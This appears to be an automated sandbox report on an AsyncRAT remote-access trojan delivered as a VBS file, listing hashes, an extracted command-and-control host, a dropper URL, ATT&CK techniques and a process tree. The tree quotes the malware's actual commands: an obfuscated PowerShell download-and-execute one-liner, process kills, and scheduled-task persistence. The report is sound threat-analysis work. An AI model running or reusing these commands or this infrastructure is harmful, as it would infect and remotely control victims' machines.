asyncrat | 7b5ff9ebc349ec7ab62d28677ea60e007db2496e2344bc19ae290da3b49cb7f4

Analysis

max time kernel
299s
max time network
294s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
04/05/2026, 12:11

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Voice_Eyad_Algeria_mali2026.vbs
Size 14KB
Sample260504-pcrdxaaw7x
SHA256 7b5ff9ebc349ec7ab62d28677ea60e007db2496e2344bc19ae290da3b49cb7f4
MD5 c4e273927f4427126b9879227ce16656
SHA1 bd868a48429e7dbb2571406029f067005d793445
SHA512 a2d2116f9a69ed820a1ba0690f0d1244b3a1f9d4bd41a1685236103693a13fff15ce0d61875406c55f3c325e872a243fc1275225116835254eb9ef4481e0f66a
SSDEEP 384:7DCK9+A/K8ra2btN0VJ660nSOg+FbnQl4c8TXif:B3sF0nSOg+FnQhF
TLSH
T19A6294150F23ACB6C71E9CA54563045F7BBB8820B9BE61504733EAB379A7285CA71FD0
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

b01 defense_evasion discovery execution asyncrat persistence rat

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
https://pchs3.krakencloud.net/uploads/02-05-2026/uwiNbVhD3B/image.png

Extracted

Family

asyncrat

Version

MDGO LY RAT

Botnet

freedoom.ydns.eu:6161

Mutex

AsyncMutex_6SI8OkPnk

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Signatures

Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	1812	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1812	powershell.exe
224	powershell.exe
2200	powershell.exe
4388	powershell.exe
4244	powershell.exe
1464	powershell.exe

ConfuserEx .NET packer 1 IoCs

Detects ConfuserEx .NET packer.

resource	yara_rule
behavioral2/memory/4388-35-0x00000250B1AE0000-0x00000250B1B0C000-memory.dmp	ConfuserEx

Suspicious use of SetThreadContext 5 IoCs

description	pid	Process	procid_target
PID 4388 set thread context of 4392	4388	powershell.exe	103
PID 4244 set thread context of 1492	4244	powershell.exe	104
PID 1464 set thread context of 2664	1464	powershell.exe	108
PID 224 set thread context of 4644	224	powershell.exe	112
PID 2200 set thread context of 2088	2200	powershell.exe	116

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_compiler.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_compiler.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_compiler.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_compiler.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_compiler.exe

Kills process with taskkill 10 IoCs

defense_evasion

pid	Process
564	taskkill.exe
536	taskkill.exe
4656	taskkill.exe
1760	taskkill.exe
4228	taskkill.exe
4700	taskkill.exe
2488	taskkill.exe
1716	taskkill.exe
3632	taskkill.exe
3800	taskkill.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
776	schtasks.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
1812	powershell.exe
1812	powershell.exe
4388	powershell.exe
4388	powershell.exe
4244	powershell.exe
4244	powershell.exe
4392	aspnet_compiler.exe
1464	powershell.exe
1464	powershell.exe
224	powershell.exe
224	powershell.exe
2200	powershell.exe
2200	powershell.exe

Suspicious use of AdjustPrivilegeToken 17 IoCs

description	pid	Process
Token: SeDebugPrivilege	1812	powershell.exe
Token: SeDebugPrivilege	4700	taskkill.exe
Token: SeDebugPrivilege	2488	taskkill.exe
Token: SeDebugPrivilege	1716	taskkill.exe
Token: SeDebugPrivilege	536	taskkill.exe
Token: SeDebugPrivilege	4656	taskkill.exe
Token: SeDebugPrivilege	3632	taskkill.exe
Token: SeDebugPrivilege	1760	taskkill.exe
Token: SeDebugPrivilege	3800	taskkill.exe
Token: SeDebugPrivilege	564	taskkill.exe
Token: SeDebugPrivilege	4228	taskkill.exe
Token: SeDebugPrivilege	4388	powershell.exe
Token: SeDebugPrivilege	4244	powershell.exe
Token: SeDebugPrivilege	4392	aspnet_compiler.exe
Token: SeDebugPrivilege	1464	powershell.exe
Token: SeDebugPrivilege	224	powershell.exe
Token: SeDebugPrivilege	2200	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4392	aspnet_compiler.exe

Suspicious use of WriteProcessMemory 44 IoCs

description	pid	Process	procid_target
PID 4884 wrote to memory of 1812	4884	WScript.exe	80
PID 1812 wrote to memory of 4268	1812	powershell.exe	82
PID 1812 wrote to memory of 4700	1812	powershell.exe	83
PID 1812 wrote to memory of 2488	1812	powershell.exe	85
PID 1812 wrote to memory of 1716	1812	powershell.exe	86
PID 1812 wrote to memory of 536	1812	powershell.exe	87
PID 1812 wrote to memory of 4656	1812	powershell.exe	88
PID 1812 wrote to memory of 3632	1812	powershell.exe	89
PID 1812 wrote to memory of 1760	1812	powershell.exe	90
PID 1812 wrote to memory of 3800	1812	powershell.exe	91
PID 1812 wrote to memory of 564	1812	powershell.exe	92
PID 1812 wrote to memory of 4228	1812	powershell.exe	93
PID 1812 wrote to memory of 776	1812	powershell.exe	94
PID 232 wrote to memory of 4388	232	WScript.exe	97
PID 1812 wrote to memory of 1852	1812	powershell.exe	99
PID 3948 wrote to memory of 4244	3948	WScript.exe	101
PID 4388 wrote to memory of 4392	4388	powershell.exe	103
PID 4388 wrote to memory of 4392	4388	powershell.exe	103
PID 4388 wrote to memory of 4392	4388	powershell.exe	103
PID 4388 wrote to memory of 4392	4388	powershell.exe	103
PID 4388 wrote to memory of 4392	4388	powershell.exe	103
PID 4244 wrote to memory of 1492	4244	powershell.exe	104
PID 4244 wrote to memory of 1492	4244	powershell.exe	104
PID 4244 wrote to memory of 1492	4244	powershell.exe	104
PID 4244 wrote to memory of 1492	4244	powershell.exe	104
PID 4244 wrote to memory of 1492	4244	powershell.exe	104
PID 4948 wrote to memory of 1464	4948	WScript.exe	106
PID 1464 wrote to memory of 2664	1464	powershell.exe	108
PID 1464 wrote to memory of 2664	1464	powershell.exe	108
PID 1464 wrote to memory of 2664	1464	powershell.exe	108
PID 1464 wrote to memory of 2664	1464	powershell.exe	108
PID 1464 wrote to memory of 2664	1464	powershell.exe	108
PID 764 wrote to memory of 224	764	WScript.exe	110
PID 224 wrote to memory of 4644	224	powershell.exe	112
PID 224 wrote to memory of 4644	224	powershell.exe	112
PID 224 wrote to memory of 4644	224	powershell.exe	112
PID 224 wrote to memory of 4644	224	powershell.exe	112
PID 224 wrote to memory of 4644	224	powershell.exe	112
PID 3900 wrote to memory of 2200	3900	WScript.exe	114
PID 2200 wrote to memory of 2088	2200	powershell.exe	116
PID 2200 wrote to memory of 2088	2200	powershell.exe	116
PID 2200 wrote to memory of 2088	2200	powershell.exe	116
PID 2200 wrote to memory of 2088	2200	powershell.exe	116
PID 2200 wrote to memory of 2088	2200	powershell.exe	116

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Voice_Eyad_Algeria_mali2026.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:4884
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -ExecutionPolicy bypass -Command "[System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');$fj=[Microsoft.VisualBasic.Interaction]::CallByName((New-Object Net.WebClient),'DownloadString',[Microsoft.VisualBasic.CallType]::Method, [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('aHR0cHM6Ly9wY2hzMy5rcmFrZW5jbG91ZC5uZXQvdXBsb2Fkcy8wMi0wNS0yMDI2L3V3aU5iVmhEM0IvaW1hZ2UucG5n')) )|IEX;[Byte[]]$f=[Microsoft.VisualBasic.Interaction]::CallByName"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1812
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /delete /tn devil /f
    3⤵
    PID:4268
- - C:\Windows\system32\taskkill.exe
    "C:\Windows\system32\taskkill.exe" /IM CCleanerBrowser.exe /F
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4700
- - C:\Windows\system32\taskkill.exe
    "C:\Windows\system32\taskkill.exe" /IM aspnet_regbrowsers.exe /F
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2488
- - C:\Windows\system32\taskkill.exe
    "C:\Windows\system32\taskkill.exe" /IM aspnet_compiler.exe /F
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1716
- - C:\Windows\system32\taskkill.exe
    "C:\Windows\system32\taskkill.exe" /IM AppLaunch.exe /F
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:536
- - C:\Windows\system32\taskkill.exe
    "C:\Windows\system32\taskkill.exe" /IM InstallUtil.exe /F
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4656
- - C:\Windows\system32\taskkill.exe
    "C:\Windows\system32\taskkill.exe" /IM jsc.exe /F
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3632
- - C:\Windows\system32\taskkill.exe
    "C:\Windows\system32\taskkill.exe" /IM MSBuild.exe /F
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1760
- - C:\Windows\system32\taskkill.exe
    "C:\Windows\system32\taskkill.exe" /IM RegAsm.exe /F
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3800
- - C:\Windows\system32\taskkill.exe
    "C:\Windows\system32\taskkill.exe" /IM cvtres.exe /F
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:564
- - C:\Windows\system32\taskkill.exe
    "C:\Windows\system32\taskkill.exe" /IM RegSvcs.exe /F
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4228
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /Create /XML C:\Users\Public\Music\/Googless.xml /TN devil
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:776
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn devil
    3⤵
    PID:1852

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Public\Music\ERMQQATKFQF.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:232
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass $usefont='ReadAllText';$egbus='C:\Users\Public\Music\/COJLCAHTKUTB.NRXED';IEx([IO.File]::$usefont($egbus))
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4388
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:4392

C:\Windows\System32\WScript.exe
C:\Windows\System32\WScript.exe "C:\Users\Public\Music\//ERMQQATKFQF.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:3948
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass $usefont='ReadAllText';$egbus='C:\Users\Public\Music\/COJLCAHTKUTB.NRXED';IEx([IO.File]::$usefont($egbus))
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4244
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1492

C:\Windows\System32\WScript.exe
C:\Windows\System32\WScript.exe "C:\Users\Public\Music\//ERMQQATKFQF.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:4948
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass $usefont='ReadAllText';$egbus='C:\Users\Public\Music\/COJLCAHTKUTB.NRXED';IEx([IO.File]::$usefont($egbus))
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1464
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2664

C:\Windows\System32\WScript.exe
C:\Windows\System32\WScript.exe "C:\Users\Public\Music\//ERMQQATKFQF.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:764
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass $usefont='ReadAllText';$egbus='C:\Users\Public\Music\/COJLCAHTKUTB.NRXED';IEx([IO.File]::$usefont($egbus))
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:224
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4644

C:\Windows\System32\WScript.exe
C:\Windows\System32\WScript.exe "C:\Users\Public\Music\//ERMQQATKFQF.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:3900
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass $usefont='ReadAllText';$egbus='C:\Users\Public\Music\/COJLCAHTKUTB.NRXED';IEx([IO.File]::$usefont($egbus))
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2200
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2088

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 e0ba170aa0323f77d80bac4816dafd70f03b19ac10787149a35333d91529bb32
MD5 5f6a54c31d4cf19b2bb4ede56839278f
SHA1 34f9ebdf3fedcaba4c2548fecb6b2a79f3a5da6f
SHA512 31b7f765235b60eff92a838186420dfb697ed1c8ab481249c0c7eacef11de934df29945abb7f72468cbe4fcb431f37c75137291caa7dedbe9d663e6a11fb07b3
TLSH
T1FC71CC313275B0D8C92A7F07192C19C463BF8356EA94AF4CB658620ED92704BDF222F3
MD5 SHA1 SHA512 TLSH

Submit Download

aspnet_compiler.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\aspnet_compiler.exe.log
Size 425B
SHA256 85ad0d9909461517acf2e24ff116ca350e9b7000b4eefb23aa3647423c9745b4
MD5 bb27934be8860266d478c13f2d65f45e
SHA1 a69a0e171864dcac9ade1b04fc0313e6b4024ccb
SHA512 87dd77feac509a25b30c76c119752cc25020cca9c53276c2082aef2a8c75670ef67e1e70024a63d44ae442b64f4bc464aee6691e80c525376bb7421929cfa3bb
TLSH
T16DE022302371B1D988163F82191CA68942FF0746B6B8EE293A94265ED8350272F322E3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 fd949ff64bc93b6bcff447de4f7307dbd4cfb391faf81efe2a845f8349d9b10c
MD5 8a9ce637f47cb4acdbef782b0c075292
SHA1 61c4f0209f159fae19220a78c4428848c90d0e01
SHA512 6452ea5fff0d3139dd61de41cb37738a228bd13f7b039aa519acb8ab5f2084c10473415f0d3631a68829e81da3dc6018e37cff3618c48ae358c9a94fa91eb122
TLSH
T1B7117A33B79CC134C8D9117A108DAD01B2B5C3CB049EDE8B7A84C508E57F58ADB641E4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 a761ee5dd0e0eee9e7f79eec31d1db3731f30048ddd7c803b7f47d558906d75e
MD5 04a48d94f0b1a9ea5c882c0ca00711e6
SHA1 11f5fa77d32a5c0d6b2404bd246b6bb278a0e206
SHA512 47558ba141e3aa777620d35073a9fd8a85cb7a70050f2c45de3b5be745a77fc4f9640c60c17263adf6fe7ce46da73fb7ce1ab4ea708f0801b1ead7108c561ef6
TLSH
T167117A33B79CC134C8D9117A108DAD11B1B5C3CB049EDE8B7A84C508E57F58ADB641E4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 96f3feae914c86dab9562fe0daf3ec7d2a768d47411806954798b28ce6feca90
MD5 02bd4315f1c9f24cf3a88580027b68cb
SHA1 5a3fc311568f1bedcbca643254bc31f4cae62b7e
SHA512 2b53d732f1f04ac728397eab490dd402a5a64ed01eda61dc1f42ad7f8554ecdd9d95d21c46b46ead121da4fd0eadcafae88d6deaa62433ef6ea1255ae68265c8
TLSH
T185216A33B79CC135C8D9117A108CAD01B1B5C3C7449FCE8B6B84C618D57F99ADB641E4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 8ea8669d33001866fc036a3af60c0fc069c528449a8c0ca4a25325e5b217b8af
MD5 d83e854ac08c4236a078e67f4e556407
SHA1 379677ea5601fbe72634d7bed143ac1562f5afd4
SHA512 239f77526c438c3038c806daa819505a76ff6bc8e791edc97f0ea2e9300551663249cc71ef458c66e8888ca99b7a4d6a410ad04e4b2cb734f015a77c8ab7d493
TLSH
T149119C33B79CC1B5C8D9117A1089AD01B2B6C3CB009EDECB7B84C508E97F5C9DB641A4
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_v0v3heo4.qan.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_v0v3heo4.qan.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

COJLCAHTKUTB.NRXED

Path C:\Users\Public\Music\COJLCAHTKUTB.NRXED
Size 670KB
SHA256 dea1e90127c8030d532c2d17519682c1a11a774e564c185e993dcb3c89d6579b
MD5 a335e850f58548733638131c5335c3de
SHA1 9820f70540bcabad748b9a7043f5304644708a0b
SHA512 8d914aa6bb4bcb658e5b0fbffa8335cbd1a07fe58623aebd4d97a2163bc3e47dbd8cfb6801d56da1be1a4610b7920347f5415643f6f29e5abd10afde781e12aa
SSDEEP 3072:if4VHFo9/GyClh4ZW8aTcf79tLGdJnW6cTP73SRigQ2i35nbZ6t1O7mgBpla49mo:+5hq+1MGuWbfaYpx
TLSH
T159E4608728067941D43A07933BDAFF04CD30C11A8ADF46A652E5FAE8269B7435F6B077
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ERMQQATKFQF.vbs

Path C:\Users\Public\Music\ERMQQATKFQF.vbs
Size 246B
SHA256 639814200de9a73241038c0cc97fceabf8fb65e63e5fc9e65e66d3db930c507e
MD5 501f6c9d302f73ecda8e4734aa7d012c
SHA1 5f7922d9c3b4dae3b9ba8569856dc919693542fd
SHA512 301aee8f8ee571462c0b1e43c3962f22146b0509f16544a961df36c0335522019e2c286ab049cf967a082acd36f46006aa609a1efc8b71bd87c664efeb8de2c8
TLSH
T1D4D09701A02B8A595B6FE1D7B8C046A0C520AA18303C59A1F621C258390822CE3C33C2
MD5 SHA1 SHA512 TLSH

Submit Download

Googless.xml

Path C:\Users\Public\Music\Googless.xml
Size 1KB
SHA256 7392c08755d11b3543226b21bfa1d43c7dd9ebafec43555fdee6832b9d9469d4
MD5 f0de4b9e48781a2a0e47c715a9c7374e
SHA1 2cd746e2ff2fece9b966e432e1b00ed20ae203dd
SHA512 68334977afa6e00cb21c94a19c1b864192e9304638b006034056d437b949578d63a4c5da0ce25f3e00a6a5a47b65c7fd9a3fb496bd39dfb2cc1ba9e7e9c73110
TLSH
T12721BB1559C0721FA5338233D651A782FF2287A34A6B4135B8CC4B2F2FB544AA143866
MD5 SHA1 SHA512 TLSH

Submit Download

memory/224-131-0x000002CDE2710000-0x000002CDE271C000-memory.dmp

Download

memory/224-132-0x000002CDE4060000-0x000002CDE4072000-memory.dmp

Download

memory/232-21-0x000001FA75DB0000-0x000001FA75DBC000-memory.dmp

Download

memory/764-116-0x00000212BFAD0000-0x00000212BFADC000-memory.dmp

Download

memory/1464-82-0x0000023447CE0000-0x0000023447CF2000-memory.dmp

Download

memory/1464-81-0x0000023447BC0000-0x0000023447BCC000-memory.dmp

Download

memory/1492-53-0x0000000001050000-0x00000000010CB000-memory.dmp

Download

memory/1492-54-0x00000000050B0000-0x000000000514C000-memory.dmp

Download

memory/1812-17-0x000002242D300000-0x000002242D30C000-memory.dmp

Download

memory/1812-18-0x000002242D6F0000-0x000002242D702000-memory.dmp

Download

memory/1812-14-0x0000022445AB0000-0x0000022445AC0000-memory.dmp

Download

memory/1812-10-0x0000022445AB0000-0x0000022445AC0000-memory.dmp

Download

memory/1812-8-0x000002242D7C0000-0x000002242D7E2000-memory.dmp

Download

memory/1812-15-0x0000022445AB0000-0x0000022445AC0000-memory.dmp

Download

memory/1812-31-0x000002242D300000-0x000002242D30C000-memory.dmp

Download

memory/1812-2-0x0000022445AB0000-0x0000022445AC0000-memory.dmp

Download

memory/1812-1-0x0000022445AB0000-0x0000022445AC0000-memory.dmp

Download

memory/1812-19-0x0000022445AB0000-0x0000022445AC0000-memory.dmp

Download

memory/2088-179-0x00000000029E0000-0x0000000002A7C000-memory.dmp

Download

memory/2088-178-0x0000000000CE0000-0x0000000000D5B000-memory.dmp

Download

memory/2200-182-0x0000019479820000-0x0000019479832000-memory.dmp

Download

memory/2200-181-0x0000019461290000-0x000001946129C000-memory.dmp

Download

memory/2664-79-0x0000000005970000-0x0000000005A0C000-memory.dmp

Download

memory/2664-78-0x0000000001AA0000-0x0000000001B1B000-memory.dmp

Download

memory/3900-166-0x0000018FE9260000-0x0000018FE926C000-memory.dmp

Download

memory/3948-33-0x000001EF972E0000-0x000001EF972EC000-memory.dmp

Download

memory/4244-58-0x000002272D680000-0x000002272D692000-memory.dmp

Download

memory/4244-57-0x000002272D430000-0x000002272D43C000-memory.dmp

Download

memory/4388-50-0x0000025097BA0000-0x0000025097BAC000-memory.dmp

Download

memory/4388-35-0x00000250B1AE0000-0x00000250B1B0C000-memory.dmp

Download

memory/4388-51-0x0000025099510000-0x0000025099522000-memory.dmp

Download

memory/4388-42-0x00000250B1A60000-0x00000250B1A66000-memory.dmp

Download

memory/4392-48-0x00000000053D0000-0x00000000053DA000-memory.dmp

Download

memory/4392-61-0x0000000005350000-0x0000000005357000-memory.dmp

Download

memory/4392-60-0x0000000002A30000-0x0000000002ACC000-memory.dmp

Download

memory/4392-59-0x0000000000F90000-0x000000000100B000-memory.dmp

Download

memory/4392-47-0x00000000053E0000-0x0000000005472000-memory.dmp

Download

memory/4392-46-0x00000000057A0000-0x0000000005D46000-memory.dmp

Download

memory/4392-43-0x0000000000400000-0x0000000000418000-memory.dmp

Download

memory/4644-128-0x0000000000AD0000-0x0000000000B4B000-memory.dmp

Download

memory/4644-129-0x00000000026B0000-0x000000000274C000-memory.dmp

Download

memory/4884-0-0x0000028C3F8C0000-0x0000028C3F8CC000-memory.dmp

Download

memory/4948-65-0x0000012516590000-0x000001251659C000-memory.dmp

Download